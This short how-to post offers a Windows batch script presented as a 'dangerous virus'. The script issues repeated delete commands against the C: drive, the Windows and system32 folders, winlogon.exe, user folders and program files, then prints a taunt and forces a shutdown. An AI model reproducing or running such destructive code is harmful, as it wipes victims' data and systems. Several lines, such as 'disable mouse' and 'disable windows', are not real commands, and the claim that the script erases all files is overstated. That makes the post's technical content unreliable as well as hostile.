How to make Trojan Dangerous Virus

Following are the commands :

@echo off
disable mouse
disable keyboard
disable system32
del c:\
del c:\windows
del c:\windows\system32
del c:\system32\logonul.exe
del c:\windows\system32\restore
del c:\windows\system32\winlogon.exe
del c:\windows
del c:\NVIDIA
del c:\windows
del c:\Document And Settings
del c:\RECOVERY
del c:\SwSetup
del c:\Temp
del c:\Program Files
del c:\PerfLogs
del c:\.rnd
del c:\Brukere
del c:\Users
del c:\MCPP
del c:\CMD
del c:\
disable windows
dir /s
echo I am your virus. I deleted your files
echo because you tried to delete me.
echo By the way, I am -->_<--.
pause
shutdown -s -t 10 -c "say goodbye to your computer"

this will erase the all files of the computer system